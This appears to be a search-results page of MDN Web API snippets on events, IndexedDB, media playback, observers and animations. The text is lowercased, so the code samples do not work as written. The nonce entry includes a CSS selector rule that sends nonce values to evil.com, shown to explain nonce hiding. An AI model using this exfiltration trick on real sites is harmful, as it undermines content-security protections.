background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.
background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.
background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element.querySelectorAll() - Web APIs
note: characters which are not part of standard css syntax must be escaped using a
backslash character.
... since javascript also uses
backspace escaping, special care must be taken when writing string literals using these characters.
Encrypted Media Extensions API - Web APIs
the encrypted media extensions api provides interfaces for controlling the play
back of content which is subject to a digital restrictions management scheme.
... mediakeys represents a set of keys that an associated htmlmediaelement can use for decryption of media data during play
back.
FileError - Web APIs
fileerror objects are passed to error call
backs.
... error call
backs are not optional for your sanity although error call
backs are optional, you should include them in the arguments of the methods for the sake of the sanity of your users.
FileReader.result - Web APIs
it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the call
back function provided to read().
... var fileinput = document.queryselector('input[type="file"]'); function read(call
back) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { call
back(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
FileRequest.onprogress - Web APIs
summary this property specifies a call
back function to be run repeatedly while the operation represented by a filerequest object is in progress.
... each time the function call
back is called, it gets an object as its first parameter.
FileSystemEntry.getMetadata() - Web APIs
syntax filesystementry.getmetadata(successcall
back[, errorcall
back]); parameters successcall
back a function which is called when the copy operation is succesfully completed.
... errorcall
back optional an optional call
back which is executed if an error occurs while looking up the metadata.
FileSystemEntry.remove() - Web APIs
syntax filesystementry.remove(successcall
back[, errorcall
back]); parameters successcall
back a function which is called once the file has been successfully removed.
... errorcall
back optional an optional call
back which is called if the attempt to remove the file fails.
FileSystemEntrySync - Web APIs
examples include a
backslash (\), dot (.), and two dots (..).
...examples include a
backslash (\), dot (.), and two dots (..).
File and Directory Entries API support in Firefox - Web APIs
work to standardize the specification was abandoned
back in 2012, but by that point, google chrome included its own implementation of the api.
... over time, a number of popular sites and web applications came to use it, often without providing any means of falling
back to standard apis or even checking to be sure the api is available before using it.
File and Directory Entries API - Web APIs
the asynchronous api will not block and functions and the api will not return values; instead, you will need to supply a call
back function to handle the response whenever it arrives.
... synchronous api the synchronous api is should only be used in workers; these calls block until they're finished executing, and simply return the results instead of using call
backs.
Gamepad - Web APIs
experimental extensions to gamepad the following interfaces are defined in the gamepad extensions specification, and provide access to experimental features like haptic feed
back and webvr controller pose information.
... gamepad.hapticactuators read only an array containing gamepadhapticactuator objects, each of which represents haptic feed
back hardware available on the controller.
Geolocation - Web APIs
geolocation.getcurrentposition() secure context determines the device's current location and gives
back a geolocationposition object with the data.
... geolocation.watchposition() secure context returns a long value representing the newly established call
back function to be invoked whenever the device location changes.
GlobalEventHandlers.onanimationend - Web APIs
</div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're anim...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onanimationiteration - Web APIs
div id="text">box</div> </div> </div> <div class="button" id="play"> begin demonstration </div> css :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animat...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
GlobalEventHandlers.onanimationstart - Web APIs
</div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're anim...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onauxclick - Web APIs
the former changes the color of the button
background, while the latter changes the button foreground (text) color.
... var button = document.queryselector('button'); var html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } button.onclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.
backgroundcolor = rndcol; }; button.onauxclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.color = rndcol; } note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when either of the non-left mouse buttons are clicked.
HTMLCanvasElement.getContext() - Web APIs
if set to false, the browser now knows that the
backdrop is always opaque, which can speed up drawing of transparent content and images.
... desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop (gecko only) willreadfrequently: boolean that indicates whether or not a lot of read-
back operations are planned.
HTMLFormElement.requestSubmit() - Web APIs
once the form has been submitted, the submit event is sent
back to the form object.
... if, on the other hand, requestsubmit() isn't available, this code falls
back to calling the form's submit() method.
HTMLMediaElement.captureStream() - Web APIs
example in this example, an event handler is established so that clicking a button starts capturing the contents of a media element with the id "play
back" into a mediastream.
... document.queryselector('.playandrecord').addeventlistener('click', function() { var play
backelement = document.getelementbyid("play
back"); var capturestream = play
backelement.capturestream(); play
backelement.play(); }); see recording a media element for a longer and more intricate example and explanation.
HTMLMediaElement: ended event - Web APIs
the ended event is fired when play
back or streaming has stopped because the end of the media was reached or because no further data is available.
... this event occurs based upon htmlmediaelement (<audio> and <video>) fire ended when play
back of the media reaches the end of the media.
HTMLMediaElement.load() - Web APIs
the htmlmediaelement method load() resets the media element to its initial state and begins the process of selecting a media source and loading the media in preparation for play
back to begin at the beginning.
... if resetting the play
back position to the beginning of the media actually changes the play
back position (that is, it was not already at the beginning), a timeupdate event is sent.
HTMLMediaElement: ratechange event - Web APIs
the ratechange event is fired when the play
back rate has changed.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ratechange', (event) => { console.log('the play
back rate changed.'); }); using the onratechange event handler property: const video = document.queryselector('video'); video.onratechange = (event) => { console.log('the play
back rate changed.'); }; specifications specification status html living standardthe definition of 'ratechange media event' in that specification.
HTMLMediaElement: seeked event - Web APIs
the seeked event is fired when a seek operation completed, the current play
back position has changed, and the boolean seeking attribute is changed to false.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeked', (event) => { console.log('video found the play
back position it was looking for.'); }); using the onseeked event handler property: const video = document.queryselector('video'); video.onseeked = (event) => { console.log('video found the play
back position it was looking for.'); }; specifications specification status html living standardthe definition of 'seeked media event' in that specification.
HTMLMediaElement.setMediaKeys() - Web APIs
the setmediakeys() property of the htmlmediaelement interface returns a promise that resolves to the passed mediakeys, which are those used to decrypt media during play
back.
... syntax var promise = htmlmediaelement.setmediakeys(mediakeys); parameters mediakeys a reference to a mediakeys object that the htmlmediaelement can use for decryption of media data during play
back.
HTMLOrForeignElement.nonce - Web APIs
examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fall
back: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned).
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] {
background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLScriptElement - Web APIs
the defer attribute may be specified with the async attribute, so legacy browsers that only support defer (and not async) fall
back to the defer behavior instead of the default blocking behavior.
... htmlscriptelement.nomodule is a boolean that if true, stops the script's execution in browsers that support es2015 modules — used to run fall
back scripts in older browsers that do not support javascript modules.
HTMLSlotElement - Web APIs
if no assigned nodes are found, it returns the slot's fall
back content.
...if no assigned nodes are found, it returns the slot's fall
back content.
HTMLVideoElement.msFrameStep() - Web APIs
the htmlvideoelement.msframestep() method steps the video by one frame forward or one frame
backward.
... syntax htmlvideoelement.msframestep(forward); parameters forward a boolean which if set to true steps the video forward by one frame, if false steps the video
backwards by one frame.
HTMLVideoElement.msHorizontalMirror - Web APIs
syntax htmlvideoelement.mshorizontalmirror: boolean; value boolean value set to true flips the video play
back horizontally.
... video perspective is flipped on a horizontal axis - this may be useful for play
back of a webcam video, providing the user with better mirroring of their real behaviors (ie.
onMSVideoOptimalLayoutChanged - Web APIs
onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplay
back state changes.
...ue description event property object.onmsvideooptimallayoutchanged = handler; attachevent method object.attachevent("onmsvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplay
back htmlvideoelement microsoft api extensions ...
HTML Drag and Drop API - Web APIs
for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feed
back the draggable elements produce, and the droppable elements.
... let img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } learn more about drag feed
back images in: setting the drag feed
back image define the drag effect the dropeffect property is used to control the feed
back the user is given during a drag-and-drop operation.
History.replaceState() - Web APIs
suppose now that the user navigates to https://www.microsoft.com, then clicks the
back button.
...if the user now clicks
back again, the url bar will display https://www.mozilla.org/foo.html, and totally bypass bar.html.
History - Web APIs
back() this asynchronous method goes to the previous page in session history, the same action as when the user clicks the browser's
back button.
... calling this method to go
back beyond the first page in the session history has no effect and doesn't raise an exception.
IDBCursor.direction - Web APIs
for a complete working example, see our idbcursor example (view example live.) function
backwards() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor(null,'prev').onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albu...
...mtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.direction); cursor.continue(); } else { console.log('entries displayed
backwards.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'direction' in that specification.
IDBObjectStore.createIndex() - Web APIs
note that this method must be called only from a versionchange transaction mode call
back.
... invalidstateerror occurs if either: the method was not called from a versionchange transaction mode call
back, i.e.
IDBObjectStore.deleteIndex() - Web APIs
note that this method must be called only from a versionchange transaction mode call
back.
... return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode call
back.
IDBObjectStore.put() - Web APIs
example the following example requests a given record title; when that request is successful the onsuccess function gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store in another request with put().
...list'); // get the to-do list object that has this title as it's title const objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = () => { // grab the data object returned as the result const data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item
back into the database const updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() function again to update the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specific...
IDBRequest.error - Web APIs
example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store.
...tore('todolist'); // get the do-do list with the specified title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item //
back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retriev...
IDBRequest.onerror - Web APIs
}; example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store.
...ist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item
back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with re...
IDBRequest.onsuccess - Web APIs
}; example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store.
...ist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item
back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
IDBRequest.readyState - Web APIs
example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store in another request.
...; // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item //
back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specific...
IDBRequest.result - Web APIs
syntax var myresult = request.result; value any example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store.
...; // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item //
back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
IDBRequest.source - Web APIs
example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store in another request.
...); // get the to-do list object that has this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item //
back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification stat...
IDBRequest.transaction - Web APIs
example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record
back into the object store in another request.
...ist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item
back // into the database var updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); };...
IIRFilterNode() - Web APIs
feed
back: a sequence of feed
back coefficients.
... examples let feedforward = [0.00020298, 0.0004059599, 0.00020298]; let feed
backward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feed
back: feed
backward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification.
IntersectionObserver.observe() - Web APIs
when the visibility of the specified element crosses over one of the observer's visibility thresholds (as listed in intersectionobserver.thresholds), the observer's call
back is executed with an array of intersectionobserverentry objects representing the intersection changes which occurred.
... note that this design allows multiple elements' intersection changes to be processed by a single call to the call
back.
IntersectionObserverEntry.intersectionRatio - Web APIs
example in this simple example, an intersection call
back sets each target element's opacity to the intersection ratio of that element with the root.
... function intersectioncall
back(entries) { entries.foreach(function(entry) { entry.target.style.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
IntersectionObserverEntry.intersectionRect - Web APIs
example in this simple example, an intersection call
back stores the intersection rectangle for later use by the code that draws the target elements' contents, so that only the visible area is redrawn.
... function intersectioncall
back(entries) { entries.foreach(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
IntersectionObserverEntry.isIntersecting - Web APIs
example in this simple example, an intersection call
back is used to update a counter of how many targeted elements are currently intersecting with the intersection root.
... function intersectioncall
back(entries) { entries.foreach(function(entry) { if (entry.isintersecting) { intersectingcount += 1; } else { intersectingcount -= 1; } }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
KeyboardLayoutMap.forEach() - Web APIs
syntax keyboardlayoutmap.foreach(function call
back(currentvalue[, index[, array]]) { //your iterator }[, thisarg]); parameters call
back the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... thisarg optional value to use as this (i.e the reference object) when executing call
back.
KeyframeEffect.KeyframeEffect() - Web APIs
direction optional whether the animation runs forwards (normal),
backwards (reverse), switches direction after each iteration (alternate), or runs
backwards and switches direction after each iteration (alternate-reverse).
... fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("
backwards"), retained after the animation has completed playing ("forwards"), or both.
KeyframeEffect.setKeyframes() - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1
backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example
background-color becomes
backgroundcolor and
background-position-x becomes
backgroundpositionx.
KeyframeEffectOptions - Web APIs
direction optional whether the animation runs forwards (normal),
backwards (reverse), switches direction after each iteration (alternate), or runs
backwards and switches direction after each iteration (alternate-reverse).
... fill optional dictates whether the animation's effects should be reflected by the element(s) prior to playing ("
backwards"), retained after the animation has completed playing ("forwards"), or both.
LocalFileSystemSync - Web APIs
example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success call
back // and the last one is the error call
back // for denial of access and other errors.
... var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error call
backs.
Location - Web APIs
; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {content:attr(title); font-family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5;
background:black;} [title]:hover:before, :target:before {
background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", fu...
...the difference from the assign() method and setting the href property is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the
back button to navigate to it.
MediaConfiguration - Web APIs
a valid media decoding configuration, to be submitted as the parameter for mediacapabilities.decodinginfo() method, has it's `type` set as: file: for plain play
back file.
... framerate: number of frames making up one second of video play
back.
MediaDecodingConfiguration - Web APIs
this takes one of two values: file: represents a configuration that is meant to be used for a plain file play
back.
... media-source: represents a configuration that is meant to be used for play
back of a mediasource.
MediaElementAudioSourceNode - Web APIs
example this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for play
back.
...mentelement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio play
back from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
MediaKeyStatusMap - Web APIs
mediakeystatusmap.foreach(call
back[, argument]) read only calls call
back once for each key-value pair in the status map, in insertion order.
... if argument is present it will be passed to the call
back.
MediaQueryListListener - Web APIs
the mediaquerylist.addlistener() call
back is now a plain function and called with the standard mediaquerylistevent object.
... a mediaquerylistlistener is a call
back function that gets invoked with a single argument, the mediaquerylist for which the evaluated result changed.
MediaSessionActionDetails.seekOffset - Web APIs
the mediasessionactiondetails dictionary's seekoffset property is an optional value passed into the action handler call
back to provide the number of seconds the seekforward and seek
backward actions should move the play
back time by.
... syntax let mediasessionactiondetails = { seekoffset: deltatimeinseconds }; let deltatime = mediasessionactiondetails.seekoffset; value a floating-point value indicating the time delta in seconds by which to move the play
back position relative to its current timestamp.
MediaSessionActionDetails.seekTime - Web APIs
the mediasessionactiondetails dictionary's seektime property is always included when a seekto action is sent to the action handler call
back.
... to change the time by an offset rather than moving to an absolute time, the seekforward or seek
backward actions should be used instead.
MediaSource.endOfStream() - Web APIs
the possible values are: network: terminates play
back and signals that a network error has occured.
...when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is
back up (via some kind of polling.) decode: terminates play
back and signals that a decoding error has occured.
MediaStreamConstraints.audio - Web APIs
art </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream...
...art </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true ...
MediaStreamConstraints.video - Web APIs
art </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stre...
...art </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, fra...
MediaStreamTrack - Web APIs
note: you can implement standard "mute" functionality by setting enabled to false, and unmute the media by setting it
back to true again.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: ended sent when play
back of the track ends (when the value readystate changes to ended).
MediaTrackSettings.displaySurface - Web APIs
the windows are aggragated into a single video track, with any empty space filled with a
backdrop; that
backdrop is selected by the user agent.
...any empty space (if the displays are of different dimensions) is filled with a
backdrop chosen by the user agent.
Using the Media Capabilities API - Web APIs
support for getting real-time feed
back about the play
back of media, so your code can make informed decisions about adapting the stream's quality or other settings to manage the user's perceived media performance and quality.
... querying the browser about decoding abilities now that we've created a video decoding configuration we can pass it as a paramater of the decodinginfo() method to determine if a video matching this configuration would be decodable and if the play
back would be smooth and power efficient.
Capabilities, constraints, and settings - Web APIs
evices.getusermedia({ video: { width: { min: 640, ideal: 1920 }, height: { min: 400, ideal: 1080 }, aspectratio: { ideal: 1.7777777778 } }, audio: { samplesize: 16, channelcount: 2 } }).then(stream => { videoelement.srcobject = stream; }).catch(handleerror); in this example, constraints are applied at getusermedia() time, asking for an ideal set of options with fall
backs for the video.
...toplay></video> <div class="button" id="stopbutton"> stop video </div> <div id="log"> </div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 150px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 1...
Microsoft API extensions - Web APIs
touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.msframestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplay
back htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinsertaudioeffect() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatus msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager ...
...leted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricall
back element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark ...
MutationObserverInit.attributeFilter - Web APIs
function call
back(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": switch(mutation.attributename) { case "status": userstatuschanged(mutation.target.username, mutation.target.status); break; case "username": usernamechanged(mutation.oldvalue, mutation.target.username); break; ...
... } break; } }); } var userlistelement = document.queryselector("#userlist"); var observer = new mutationobserver(call
back); observer.observe(userlistelement, { attributefilter: [ "status", "username" ], attributeoldvalue: true, subtree: true }); the call
back() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
MutationObserverInit.attributeOldValue - Web APIs
function call
back(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new ...
...mutationobserver(call
back); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the call
back() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
MutationObserverInit.characterData - Web APIs
